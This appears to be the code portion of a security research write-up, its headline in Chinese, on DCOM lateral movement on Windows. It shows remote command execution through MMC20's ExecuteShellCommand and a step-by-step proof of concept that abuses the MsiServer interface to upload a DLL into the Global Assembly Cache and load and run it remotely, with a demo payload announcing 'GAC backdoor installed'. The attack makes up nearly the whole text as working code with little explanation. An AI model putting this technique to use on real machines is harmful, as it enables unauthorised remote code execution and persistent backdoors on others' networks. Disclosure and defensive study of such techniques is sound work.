忘记 PSEXEC：DCOM 上传与执行后门

PS C:> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")PS C:> $mmcApp = [System.Activator]::CreateInstance($com)PS C:> Get-Member-InputObject$mmcAppTypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}

PS C:> Get-Member-InputObject$mmcApp.Document.ActiveViewTypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}

<# MMCExec.ps1 #>$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")$mmcApp = [System.Activator]::CreateInstance($com)$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:filefolder",$null, 0)

PS C:> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")PS C:> $obj = [System.Activator]::CreateInstance($com)PS C:> Get-Member-InputObject$objTypeName: System.__ComObject

structIMsiServer : IUnknown{virtual iesEnum InstallFinalize( iesEnum iesState,  void* riMessage,  boolean fUserChangedDuringInstall)= 0;virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode,  constwchar_t* szPath, boolean fAddToList,  boolean fPatch)= 0;virtual boolean Reboot()= 0;virtualintDoInstall( ireEnum ireProductCode,  const ICHAR* szProduct,  const ICHAR* szAction,const ICHAR* szCommandLine,  const ICHAR* szLogFile,int iLogMode,  boolean fFlushEachLine,  IMsiMessage* riMessage,  iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& )= 0;virtual HRESULT IsServiceInstalling()= 0;virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode,  const ICHAR* szUserName,const ICHAR* szCompany,  const ICHAR* szProductID)= 0;virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry)= 0;virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag)= 0;virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType)= 0;virtual HRESULT SourceListAddSource( const ICHAR* szProductCode,  const ICHAR* szUserName,  isrcEnum isrcType,const ICHAR* szSource)= 0 ;virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode,  const ICHAR* szUserName)= 0;virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext,  constunsignedchar* rgchCookie,  constint cbCookie, IMsiCustomAction* piCustomAction,  unsignedlong* dwProcessId,  IMsiRemoteAPI** piRemoteAPI,  DWORD* dwPrivileges)= 0;virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext,  constunsignedlong dwProcessId,  IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment,  DWORD cchEnvironment,  DWORD dwPrivileges,  char* rgchCookie,  int* cbCookie,  IMsiCustomAction** piCustomAction,  unsignedlong* dwServerProcessId,DWORD64 unused1, DWORD64 unused2)= 0; [snip]}

// Simplified pseudo codeCMsiConfigurationManager::DoInstall([snip]){[snip]  if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\_MSIExecute"))   return ERROR_INSTALL_FAILURE;[snip]}

HRESULT IMsiServer::CreateCustomActionServer(const icacCustomActionContext icacContext,constunsignedlong dwProcessId,    IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment,     DWORD cchEnvironment,     DWORD dwPrivileges, char* rgchCookie, int* cbCookie,     IMsiCustomAction** piCustomAction, unsignedlong* dwServerProcessId,bool unkFalse);

IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };// Interface is trimmed for simplictystruct IMsiCustomAction : IUnknown{    virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;    virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;    virtual HRESULT FinishDLLCustomAction(ulong) = 0;    virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char **) = 0;    [snip]    virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;    virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;    virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;    virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;    virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;    virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;    virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;    virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;    virtual HRESULT URTCommitAssemblyStream() = 0;    [snip]    virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;    virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;    virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;    virtual HRESULT CallShutdownDLL(ulong*) = 0;    virtual HRESULT UnloadEmbeddedDLL() = 0;    [snip]};

// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};coserverinfo.pwszName = REMOTE_ADDRESS;coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };IID IID_IMsiServer = CLSID_MsiServer;MULTI_QI qi ={};qi.pIID = &IID_IMsiServer; // the interface we aim to getHRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;IMsiServer* pIMsiServerObj = qi.pItf;

IIDIID_IMsiRemoteApi= { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;

CLSIDCLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

// code stripped from error handlingtypedef HRESULT(*DllGetClassObjectFunc)(    REFCLSID rclsid,    REFIID   riid,    LPVOID* ppv);// we dont need the definition of IMsiRemoteApi if we just want to instantiate it  typedef IUnknown IMsiRemoteApi; HMODULE hmsi = LoadLibraryA("msi.dll");IClassFactory* pfact;IUnknown* punkRemoteApi;IMsiRemoteApi* piRemoteAPI;DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");// creating the CLSID_MsiRemoteApi classHRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);// piRemoteAPI initilized to IMsiRemoteApi*hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));

IMsiRemoteAPI* pRemApi = // created above;const int cookieSize = 16; // a constant size CreateCustomActionServer anticipatesicacCustomActionContext icacContext = icac64Impersonated; // an enum valueconst unsigned long fakeRemoteClientPid = 4;unsigned long outServerPid = 0;IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's outputint iRemoteAPICookieSize = cookieSize;char rgchCookie[cookieSize];WCHAR* pvEnvironment = GetEnvironmentStringsW();DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);HRESULT msiresult =  pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);

if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&    OutLocalClientPid != RegisteredLocalClientPid){return ERROR_ACCESS_DENIED;}

// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction

pMsiAction->LoadEmbeddedDLL(L"C:WindowsSystem32wininet.dll",false);

HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(wchar_tconst* UserDefinedGuid1,wchar_tconst* UserDefinedGuid2,wchar_tconst* UserDefinedName);

HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(wchar_tconst* UserDefinedGuid1,wchar_tconst* UserDefinedGuid2,    ulong zeroed,int* pInt,char** pStr);

HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(wchar_tconst* FileName,int Format);

HRESULT IMsiCustomAction::URTWriteAssemblyBits(constchar* pv,    ulong cb, ulong* pcbWritten);

 HRESULT IMsiCustomAction::URTCommitAssemblyStream();

char* outc = nullptr;intouti=0;LPCWSTRmocGuid1= L"{13333337-1337-1337-1337-133333333337}";LPCWSTRmocGuid2= L"{13333338-1338-1338-1338-133333333338}";LPCWSTRasmName= L"payload.dll";LPCWSTRassmblyPath= L"c:localpathtoyourpayload.dll";hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);HANDLEhAsm= CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD asmSize, sizeRead;GetFileSize(hAsm, NULL);char* content = newchar[asmSize];readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);ulongwritten=0;hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);hr = pMsiAction->URTCommitAssemblyStream();

// example x64 dummy POC for .NET payload.dll// a strong name should be set for the dll in the VS compilation settingsnamespace payload{    public class Class1    {        public static void DummyNotDLLMain()        {        }    }}

HRESULT URTCommitAssemblies(wchar_tconst* UserDefinedGuid1, int* pInt, char** pStr);int outIntCommit = 0;char* outCharCommit = nullptr;// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponenthr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);

// resuming from ourlast code snippets// our payload is the dummy .NET payload.dll// URTCommitAssemblies commits payload.dll to the GAChr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);std::wstring payload_bitness = L"64"; //our payload is x64std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dllstd::wstring payload_assembly_name = L"payload";std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll// forging all elements to the GAC pathstd::wstring payload_gac_path = std::format(L"C:\Windows\Microsoft.NET\assembly\GAC_{0}\{1}\v4.0_{2}__{3}\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);

HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);// CallInitDLL calls InitializeEmbeddedUI with the following args:DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)

using System;using System.Diagnostics;using System.Runtime.InteropServices;using RGiesecke.DllExport; // [DllExport] wraps ".export"namespace payload{ public class Class1 {   [DllImport("wtsapi32.dll", SetLastError = true)]   static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);   [DllExport]   public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)   {    string title = "MSIEXEC - GAC backdoor installed";    IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;    // The POC will display a message to the first logged on user in the target    int WTS_CURRENT_SESSION = 1;    int resp = 1;    // Using WTSSendMessage to create a messagebox form a service process at the users desktop    WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);    return 1337;   }  }}

// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assemblyulong ret1, ret2;std::string messageToVictim = "Hello from DCOM Upload & Execute";hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);